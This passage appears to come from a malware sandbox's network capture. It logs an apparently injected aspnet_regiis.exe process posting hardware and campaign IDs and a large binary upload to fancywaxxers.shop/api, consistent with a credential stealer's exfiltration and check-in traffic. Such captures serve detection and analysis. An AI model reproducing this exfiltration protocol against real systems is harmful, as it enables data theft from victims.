2024-12-29 22:36:59 UTC	1140	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 22:36:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ss5b5uhrknf899ugqlct5n9otp; expires=Thu, 24 Apr 2025 16:23:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jBI4IlrwpzZGWpLA3OFUKCuj1hw6cfvnqidjR2LMgTRQk5UCBicWH%2BJlCk%2FU15I%2Bh%2B%2BvFRQRty5E3FdtnlZaQK86w4viH%2BL9dN4WMjjRRnrIb4gG0mP5TGN7jY%2BYAvXEaeJIBQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9d45a60bccc327-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1673&min_rtt=1673&rtt_var=836&sent=10&recv=20&lost=0&retrans=1&sent_bytes=4228&recv_bytes=15989&delivery_rate=257246&cwnd=189&unsent_bytes=0&cid=c669fef1783b94ff&ts=501&x=0"
2024-12-29 22:36:59 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-29 22:36:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49714	104.21.32.1	443	5780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 22:37:00 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CVKA9J29E8AUJ7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20549 Host: fancywaxxers.shop
2024-12-29 22:37:00 UTC	15331	OUT	Data Raw: 2d 2d 43 56 4b 41 39 4a 32 39 45 38 41 55 4a 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 42 43 33 37 45 32 45 39 37 46 35 32 46 35 43 31 42 38 32 35 45 35 30 36 46 30 32 31 37 32 37 0d 0a 2d 2d 43 56 4b 41 39 4a 32 39 45 38 41 55 4a 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 43 56 4b 41 39 4a 32 39 45 38 41 55 4a 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 79 6f 75 6e 67 65 73 73 74 74 0d 0a 2d 2d 43 56 Data Ascii: --CVKA9J29E8AUJ7Content-Disposition: form-data; name="hwid"EBC37E2E97F52F5C1B825E506F021727--CVKA9J29E8AUJ7Content-Disposition: form-data; name="pid"3--CVKA9J29E8AUJ7Content-Disposition: form-data; name="lid"BVnUqo--@youngesstt--CV
2024-12-29 22:37:00 UTC	5218	OUT	Data Raw: 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 Data Ascii: Zh'F3Wun 4F([:7s~X`nO`i
2024-12-29 22:37:01 UTC	1131	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 22:37:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p3itkkf29qdaaq58tc7onscb4p; expires=Thu, 24 Apr 2025 16:23:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K1gNe8Z50xQhy4U8N0h4mSelIgydnz7G8ClZZixiuyXiz4QxnMqlTGRGdm8XeYorYppPYOynTKmpbAEjFzZoer0fGvaoKo6B%2BbAmUmYzFrqI72ftDbrKBZDSeD%2Fql%2FbNtMgTYg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9d45b0ac684344-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1717&min_rtt=1709&rtt_var=658&sent=9&recv=26&lost=0&retrans=0&sent_bytes=2842&recv_bytes=21508&delivery_rate=1643218&cwnd=47&unsent_bytes=0&cid=7163c82a0152d0e1&ts=639&x=0"
2024-12-29 22:37:01 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-29 22:37:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49715	104.21.32.1	443	5780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 22:37:02 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4H4JHYC6MWK5EZIZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1280 Host: fancywaxxers.shop
2024-12-29 22:37:02 UTC	1280	OUT	Data Raw: 2d 2d 34 48 34 4a 48 59 43 36 4d 57 4b 35 45 5a 49 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 42 43 33 37 45 32 45 39 37 46 35 32 46 35 43 31 42 38 32 35 45 35 30 36 46 30 32 31 37 32 37 0d 0a 2d 2d 34 48 34 4a 48 59 43 36 4d 57 4b 35 45 5a 49 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 34 48 34 4a 48 59 43 36 4d 57 4b 35 45 5a 49 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 79 6f 75 6e 67 65 73 73 74 74 Data Ascii: --4H4JHYC6MWK5EZIZContent-Disposition: form-data; name="hwid"EBC37E2E97F52F5C1B825E506F021727--4H4JHYC6MWK5EZIZContent-Disposition: form-data; name="pid"1--4H4JHYC6MWK5EZIZContent-Disposition: form-data; name="lid"BVnUqo--@youngesstt
2024-12-29 22:37:03 UTC	1132	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 22:37:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=19oi9fbrtnetd8fdi2t64u3b8e; expires=Thu, 24 Apr 2025 16:23:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ol6xC3nRV8fKhYVRu%2B1%2FK%2FOlhDRtXaq%2FEcP7rCBO8o5VHyluvz1dHLCWyilsAlaFwefEl1Gm3J9bvLWOwN3uBkZ8r2BOAzVXueAanxECfCgu6ac51SfuZocCGHo8VMCNvVlRBA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9d45ba4c0b1875-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1637&min_rtt=1631&rtt_var=624&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2196&delivery_rate=1737061&cwnd=153&unsent_bytes=0&cid=5a9da72fe1c9aaa8&ts=706&x=0"
2024-12-29 22:37:03 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-29 22:37:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49716	104.21.32.1	443	5780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 22:37:04 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=L5A4SY5A1OSHVBRM0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 586242 Host: fancywaxxers.shop
2024-12-29 22:37:04 UTC	15331	OUT	Data Raw: 2d 2d 4c 35 41 34 53 59 35 41 31 4f 53 48 56 42 52 4d 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 42 43 33 37 45 32 45 39 37 46 35 32 46 35 43 31 42 38 32 35 45 35 30 36 46 30 32 31 37 32 37 0d 0a 2d 2d 4c 35 41 34 53 59 35 41 31 4f 53 48 56 42 52 4d 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4c 35 41 34 53 59 35 41 31 4f 53 48 56 42 52 4d 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 79 6f 75 6e 67 65 73 Data Ascii: --L5A4SY5A1OSHVBRM0Content-Disposition: form-data; name="hwid"EBC37E2E97F52F5C1B825E506F021727--L5A4SY5A1OSHVBRM0Content-Disposition: form-data; name="pid"1--L5A4SY5A1OSHVBRM0Content-Disposition: form-data; name="lid"BVnUqo--@younges
2024-12-29 22:37:04 UTC	15331	OUT	Data Raw: 9b 44 72 8d 2e 43 5b 1b 1a da 50 6a 0b 97 9a 39 67 fa f9 09 fd d6 59 3f 92 d1 8b da 23 be a2 12 c9 30 6a 65 fd fd 13 d8 6e a4 ac 01 d6 44 f1 fb d1 2c 21 26 c2 df ba c5 01 c1 be 7c 35 c0 6f 2c 25 bb f7 76 48 3b 74 48 95 74 18 a8 0d 73 6d fd 1e 49 8e 01 6e 67 e5 32 03 9a 4d 69 c6 12 40 d2 e3 d0 20 d5 87 a1 2f 01 cb 53 08 ec c0 6d f8 c8 a0 67 21 46 eb 7e 90 6c cd 0b 28 5e 15 fd 4b 61 70 75 66 bf bd c2 92 f0 85 e0 23 f0 2b 6a 13 9f 05 ab b9 27 ef e0 bd 22 91 6b 27 29 81 6e 10 e3 c9 2b d0 06 57 83 2d c3 6b eb f6 c5 68 50 e7 d7 f1 77 a5 e6 aa 34 16 ce 08 c6 d1 0e 21 ba 02 75 a3 12 21 c3 d7 41 12 18 13 5e 91 de 1d 1d 88 a1 23 c9 23 91 a9 ba 36 9b a1 83 99 a6 4c cf 87 fd 8d bc 6a 18 97 41 5b f9 c6 b4 8d 06 d0 9e 65 9a f0 c9 50 93 a5 66 6a 05 98 34 08 f3 74 35 2f Data Ascii: Dr.C[Pj9gY?#0jenD,!&\|5o,%vH;tHtsmIng2Mi@ /Smg!F~l(^Kapuf#+j'"k')n+W-khPw4!u!A^##6LjA[ePfj4t5/
2024-12-29 22:37:04 UTC	15331	OUT	Data Raw: 42 ca df 7b d4 2d 47 95 e5 3b bf bb 9b 17 d4 07 03 6a 39 aa 63 8f 54 cc c6 a4 1c b5 7c b3 08 13 c1 b1 42 89 a0 e1 35 37 6a 28 3d 19 6f 05 c2 14 26 0a e6 bb ca 81 26 ca ed 51 2b 41 2c ad ab 19 c1 d7 80 7d 28 a1 05 7d 4f 3c 94 ea c3 fe 3e d4 28 a5 e6 44 b2 a7 4f 72 f7 69 a3 34 92 1a df 0b a9 cc ec f6 5e b8 fa 04 cf d6 44 c1 c9 f2 57 e6 22 5b e7 a9 42 70 3c 42 59 97 c1 16 e0 7a 9e 5c 35 69 4c d5 45 7b c5 b7 c5 bf ab 9a 04 45 02 35 ca 90 22 e0 9f 1a e6 fe 1c 16 fc 7b 9a be 9d 25 c8 52 1f 94 4a 8b d1 59 77 1b ed aa 35 c0 de ed 54 bf e2 82 b3 39 44 fa 45 77 3e aa 70 6f f1 c0 5e a4 94 06 09 0d 9e 3b bf f7 bf c4 d0 8b 69 b9 6e 0d 8e d6 18 2b f9 10 10 40 af da 1c 96 69 d7 38 4a 8a 88 ba 27 29 8a 9b e4 a7 da b2 d2 a9 09 a0 45 6b 71 b2 f2 00 81 60 9a c9 76 ff 62 c2 Data Ascii: B{-G;j9cT\|B57j(=o&&Q+A,}(}O<>(DOri4^DW"[Bp<BYz\5iLE{E5"{%RJYw5T9DEw>po^;in+@i8J')Ekq`vb
2024-12-29 22:37:04 UTC	15331	OUT	Data Raw: b3 81 83 f6 43 a9 b2 b3 1b 13 54 6d 04 9a f3 fe c7 2f d2 3e 8e e2 39 e9 c1 4b 5d c2 b5 e5 7f 47 89 20 d5 b9 b2 a3 ea d3 42 1b 37 26 0c 4b 11 03 b9 6e ff 1c 7b 27 9c 30 20 18 01 2c 37 61 24 b5 1d 41 c9 f4 43 1a 63 a0 5d 63 fb 9e 01 ca 4b f6 35 8d 7f cf 23 c8 de 5b d4 bf cb 3b 3b e7 d0 aa e6 7f 40 49 10 e0 44 83 35 71 90 f4 d2 5e 14 74 71 a6 aa 86 2b bc 74 66 87 64 21 c5 9e 7e b9 03 61 83 c0 5b ec 1a 93 41 45 4c 10 34 6d 9e a7 35 11 b2 35 30 77 24 a3 09 70 50 79 0e bb a6 ab f3 6f 33 6a c3 d1 03 26 cc e0 9d 6d e2 15 2c f0 3f e2 c1 3f 03 60 60 e6 c9 89 be b1 8f 22 bd 76 0a 01 24 d8 f3 65 23 04 e7 67 b5 26 16 95 8e 72 78 38 ad 0c d1 ad 56 79 4e 51 03 59 57 4d 85 c6 64 e7 e3 11 64 4c 64 d4 ed d3 d2 db 17 0c eb ef 35 cc 7e 2c c4 2a 1c 48 15 b1 c1 51 a0 c8 dd 05 Data Ascii: CTm/>9K]G B7&Kn{'0 ,7a$ACc]cK5#[;;@ID5q^tq+tfd!~a[AEL4m550w$pPyo3j&m,??``"v$e#g&rx8VyNQYWMddLd5~,*HQ
2024-12-29 22:37:04 UTC	15331	OUT	Data Raw: da 15 89 c6 3a bf 3b 15 76 8a a9 d6 0d ed 2b 24 47 1d 65 d8 7b e5 17 8b 77 1c ff a4 ac 4a 37 da f0 2e b8 b6 fd cf fb 66 b2 82 cc ca c0 21 b5 ca f6 70 6b 4a 26 68 a9 f7 f6 09 c7 3f a7 3f 81 5a cc b3 44 6a 83 b5 aa cb ec a2 a9 c5 bc d0 49 a3 c2 63 e7 e3 17 27 84 49 35 24 85 e9 ad ba 17 42 74 f7 7f 22 ae 78 bf 9c 83 4b 88 00 d0 58 fc 24 75 65 02 c5 f8 33 90 77 0a ea dc 61 73 e1 a0 4d ba a3 45 4d 57 78 b2 02 fe df 09 82 3b 22 b5 67 b7 bc f8 51 73 44 0f 39 fa 6a eb 66 bf e3 4f 57 dc 7a 90 d9 33 64 7f ec 8c 0e c8 17 66 4d cf c2 80 0b 2a 7c 77 6e 07 5e ee ff 40 d8 0f 53 dc bf 73 e0 7b 01 ac 4c ba 93 af 29 73 60 42 d6 0f c8 fd 96 fd 83 81 83 7a 47 73 f6 f0 02 04 c1 f3 6f 86 09 eb b2 f9 81 fc 34 7a 3c fb 09 82 51 c3 95 7e f5 a3 4a 13 55 fd 78 2b f1 b4 2f fe b8 b4 Data Ascii: :;v+$Ge{wJ7.f!pkJ&h??ZDjIc'I5$Bt"xKX$ue3wasMEMWx;"gQsD9jfOWz3dfM*\|wn^@Ss{L)s`BzGso4z<Q~JUx+/
2024-12-29 22:37:04 UTC	15331	OUT	Data Raw: 26 20 14 df 4b 35 69 2f 12 a8 de bd 96 bd 0c e4 be 28 46 d2 9e 5d a2 d2 63 f2 a2 43 8e b0 da 2a df 84 c7 ef bc 18 84 23 ba 30 10 19 ac a2 e4 47 d4 b8 74 a5 d5 66 ad 66 17 c1 13 5c dc 6f ee ec 94 1c 16 49 c3 c0 20 ac 3f 53 1c ff e8 99 79 5e 7d d8 25 2e 22 42 05 41 87 44 e3 3c ab 36 be 7d d6 ec 93 22 94 54 ab d7 b4 65 cd c8 24 c4 2d a3 d5 38 d6 5d 69 65 3c 63 cf da b5 87 c5 78 cd bf 85 32 95 5e 32 12 21 37 05 7a e8 45 f3 c9 81 30 31 dc 9b 90 f8 65 1e e7 21 f9 59 6b a6 2f 0f bf 30 b9 a9 c2 40 2f 44 f8 fd 28 db 9a 64 16 60 77 07 6b a2 66 ab ca 08 45 0b 11 e7 28 f8 65 9e d5 5a ba 86 86 0d f1 2a 92 2b f8 fb 1a bd bd 2f 52 c0 cc db 07 96 eb c6 16 fa c5 fc 07 23 47 2b 0c a5 56 b7 16 d4 9f 5f e7 7e b0 c3 1c 26 73 84 b0 30 eb 0d 02 a4 04 9e 3c 98 2c 90 bc ef e6 13 Data Ascii: & K5i/(F]cC#0Gtff\oI ?Sy^}%."BAD<6}"Te$-8]ie<cx2^2!7zE01e!Yk/0@/D(d`wkfE(eZ+/R#G+V_~&s0<,
2024-12-29 22:37:04 UTC	15331	OUT	Data Raw: 85 0f 12 fc 86 9e 25 d7 32 2e cd 47 b9 a2 06 97 9e b6 e1 81 a4 c9 ff 8d c0 0c 10 11 f8 df 18 8f 6f c9 70 e5 23 10 07 98 63 d0 f6 b1 52 dc 8c 00 d3 29 0b f3 6a 00 9f 9f 8b 53 76 86 00 a6 dd 44 c8 4e 39 0d 0b 9f 90 cd 09 49 bf 04 9f 7a ad 94 8e f7 d6 5b 50 57 57 7d 78 89 e6 87 36 c6 84 cf 4d bc 68 f4 da 2f 26 af 0a b5 b2 f2 fc 79 07 f4 85 74 b6 07 51 f0 79 f4 85 fd de 6c 33 cf d7 c5 04 5b 38 a7 0f 04 2e 63 ae 0d a6 36 ad b9 1c 4b 3c e2 84 04 77 2c 04 f8 b7 f0 a0 34 fa 20 b2 0a 7b 1a 74 60 d9 8d 0b ac 89 1a ca d4 57 95 9c 82 26 43 43 4d c9 9c 23 94 58 54 74 1a a5 d1 c0 cd a5 6e ff 16 65 54 1d 4a 2b e3 59 e1 5f be 26 4a 02 b1 31 e7 39 a7 41 21 b2 20 c6 73 d1 6c f0 0c e3 9e 38 eb c6 62 b4 2e c7 be 07 97 eb 8d 15 43 09 c8 17 fe 52 16 c6 2b ae 59 bd f9 6f 7b bc Data Ascii: %2.Gop#cR)jSvDN9Iz[PWW}x6Mh/&ytQyl3[8.c6K<w,4 {t`W&CCM#XTtneTJ+Y_&J19A! sl8b.CR+Yo{
2024-12-29 22:37:04 UTC	15331	OUT	Data Raw: 79 7e 27 0a 25 fc 06 24 a3 48 c9 35 ae 0f c8 ed ff 65 be 56 94 55 98 c3 00 fe 3e 0f 6b 75 ba fc 04 5b b4 d3 79 87 30 49 17 9a d5 ec fc 9d 70 a7 3a 8a aa bb cf ca 95 5f f8 0f fe 98 7a d8 1a 58 b9 e2 7b af 8a 96 a1 e4 6a 2e 34 1e 67 7b dc 14 56 6e 0e ce c3 02 8b 2c 34 c1 67 e0 9f 5b ff d9 1a 84 79 1a 0a a6 ed 7e f1 8b 18 c5 16 9c 73 d4 93 24 de 6a be aa 38 b0 43 aa ac 3a 94 f7 df a3 a8 17 77 69 7f ac d1 64 84 d7 0d 27 fc ce c4 c8 8c f4 78 e7 b1 be 7d 62 9f e6 38 76 95 85 9c da 5d 02 fe 54 3e cf 76 ea 77 ea 6f 2e d3 74 5a 5d 4f 88 d3 51 d5 1f 06 84 b4 cf f4 52 e3 06 29 70 b3 b0 8f 7d 81 77 23 ea 0e 2c ac 25 af 04 06 53 e6 d6 97 c6 8c d7 cb f3 f8 e0 82 05 23 6f 95 6b 28 37 68 0f b7 80 ad 53 55 51 02 a8 ef 1e ed 21 8e 62 60 bd bb cd 2b ef 58 5b 85 11 3e 03 fd Data Ascii: y~'%$H5eVU>ku[y0Ip:_zX{j.4g{Vn,4g[y~s$j8C:wid'x}b8v]T>vwo.tZ]OQR)p}w#,%S#ok(7hSUQ!b`+X[>
2024-12-29 22:37:04 UTC	15331	OUT	Data Raw: 74 76 22 16 ee bf f2 12 a2 5e 1d 95 af 92 1f 9c 5f be 86 1f 77 03 a8 81 e5 8c aa 87 e9 ff da 24 68 d8 44 b1 6d c4 94 65 74 27 de 5e e6 74 a6 a2 c1 a7 d5 08 2d 60 a9 a1 f1 79 15 f5 e7 63 b7 6d 58 7a 33 ab c0 7b 73 5a ee 0a 5e 78 88 c8 c6 32 1b 65 28 8b 5a 9b c4 ed 07 b5 c0 19 0c 2c 0d 9d ad 4f af 0b f3 3a 34 75 f3 3a 57 b0 7a b9 55 33 41 ec 46 e5 8b 25 34 25 d1 26 51 0b dc d8 ea 1c a9 73 06 75 92 fc 27 6c 97 86 4c 88 ee 39 cc cb 82 4d e4 db 74 6d f7 22 93 ff d0 f5 71 36 c3 95 98 28 bb df 2b ce 77 19 84 5f ee d8 b0 48 b8 63 2d 7a b8 61 88 b0 96 59 47 13 16 7c 83 87 20 3e ed 49 4b db 74 54 d5 f4 3d ff f5 3b 54 ba f1 67 94 ab ec 58 64 d8 c0 07 89 8c f4 e6 b5 61 e9 3f 65 3e 9b 97 9c 7d 68 79 83 6c 35 5a 82 37 ba 5d cc 62 35 3a 04 43 53 41 2b 80 43 c2 16 85 b6 Data Ascii: tv"^_w$hDmet'^t-`ycmXz3{sZ^x2e(Z,O:4u:WzU3AF%4%&Qsu'lL9Mtm"q6(+w_Hc-zaYG\| >IKtT=;TgXda?e>}hyl5Z7]b5:CSA+C
2024-12-29 22:37:04 UTC	15331	OUT	Data Raw: 84 39 4a 81 dc 18 14 26 65 08 74 37 54 10 6e 0b ce 2d c2 b8 20 3e 00 2d af 1a 26 d8 29 71 86 f5 73 15 aa cb aa 00 5a a1 9c 87 d8 e6 ed b4 0d 5c 3b d6 d9 bc 59 70 9c ee b3 ee 55 de e5 4c d1 0b d7 37 a5 5c e9 32 69 16 05 98 26 a5 da 1a 7d 05 c5 b9 6d b3 dd 6c 8e 0c 9f 3b 26 04 0e 14 c7 5c 28 2f 5c 94 15 46 9d 2c f2 c8 ed 17 76 6d f0 91 de 2b da e6 3b 3b 2c 50 73 81 e7 45 44 c0 ec 18 1c fc 36 06 ed 01 87 5d 27 5d 56 fa 78 50 d4 d5 a8 da 34 6e 8d 27 bb 3e 40 23 23 dd c9 ec b6 f5 90 f3 51 15 c9 f9 7a e2 c4 6b 9f 50 ea de 5d c7 de 3e 6c fd 5e d9 f8 99 fb 6b b9 de d7 7e fd c5 6b 45 4f 09 ab f3 98 d5 bc dc ca 9d e4 91 39 ae 9f 43 8b 5a 29 7b da 90 36 9a b7 c8 61 6d aa b6 d8 1a 10 57 17 dc f8 c6 59 d2 43 83 6e fc 6e 24 99 70 f5 e0 fd e4 a1 8e a9 c2 0b 60 55 89 95 Data Ascii: 9J&et7Tn- >-&)qsZ\;YpUL7\2i&}ml;&\(/\F,vm+;;,PsED6]']VxP4n'>@##QzkP]>l^k~kEO9CZ){6amWYCnn$p`U
2024-12-29 22:37:06 UTC	1136	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 22:37:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jnu1crie07dno73a36mainpr5f; expires=Thu, 24 Apr 2025 16:23:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4L1mUBaJ4CBOGikBS0ZzUONv4oi77eXqw%2Bi4tXZYGeQ9F98yuLvKNWWG3TrPfek8mi9zWwNrLRH05gvExmk2b40IncLEW%2F256KwbWSgcj03xyagWbkkTKeRA9Nek%2Fcj6UXZlkQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9d45c6bf754344-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1762&min_rtt=1715&rtt_var=677&sent=327&recv=603&lost=0&retrans=0&sent_bytes=2844&recv_bytes=588833&delivery_rate=1702623&cwnd=47&unsent_bytes=0&cid=41510f8b1eed9a91&ts=2113&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49717	104.21.32.1	443	5780	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 22:37:06 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: fancywaxxers.shop
2024-12-29 22:37:06 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 42 56 6e 55 71 6f 2d 2d 40 79 6f 75 6e 67 65 73 73 74 74 26 6a 3d 26 68 77 69 64 3d 45 42 43 33 37 45 32 45 39 37 46 35 32 46 35 43 31 42 38 32 35 45 35 30 36 46 30 32 31 37 32 37 Data Ascii: act=get_message&ver=4.0&lid=BVnUqo--@youngesstt&j=&hwid=EBC37E2E97F52F5C1B825E506F021727
2024-12-29 22:37:07 UTC	1124	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 22:37:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eenu7mt19ktadvsurafsbt6f1c; expires=Thu, 24 Apr 2025 16:23:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: 